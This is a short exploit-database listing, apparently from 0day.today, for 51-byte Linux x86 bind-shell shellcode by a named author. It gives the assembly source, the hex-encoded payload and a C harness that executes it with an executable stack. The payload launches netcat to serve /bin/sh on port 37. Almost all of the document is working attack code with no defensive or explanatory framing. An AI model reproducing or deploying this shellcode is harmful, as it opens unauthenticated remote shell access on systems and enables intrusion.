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Linux/x86 - Bind Shell Shellcode (51 bytes)
/* # Super_Small_Bind_Shell (x86) # Date: 17.03.2017 # This shellcode will listen on port 37 and show you how deep the rabbit hole goes # Please note that 37 port is below 1024 and thus privileged! # Shellcode Author: ALEH BOITSAU # Shellcode Length: 51 bytes ;) # Tested on: Debian GNU/Linux 8/x86_64 # Command: gcc -m32 -z execstack super_small_bind_shell.c -o super_small_bind_shell global _start section .text _start: xor eax, eax push eax push 0x3733702d ;-p37 mov esi, esp push eax push 0x68732f2f ;-le//bin//sh push 0x6e69622f push 0x2f656c2d mov edi, esp push eax push 0x636e2f2f ;/bin//nc push 0x6e69622f mov ebx, esp push eax push esi push edi push ebx mov ecx, esp mov al,11 int 0x80 */ #include <stdio.h> #include <string.h> unsigned char shellcode[] = "\x31\xc0\x50\x68\x2d\x70\x33\x37\x89\xe6\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x68\x2d\x6c\x65\x2f\x89\xe7\x50\x68\x2f\x2f\x6e\x63\x68\x2f\x62\x69\x6e\x89\xe3\x50\x56\x57\x53\x89\xe1\xb0\x0b\xcd\x80"; main() { printf("Shellcode Length: %d\n",strlen(shellcode)); int (*ret)() = (int(*)())shellcode; ret(); } # 0day.today [2024-12-29] #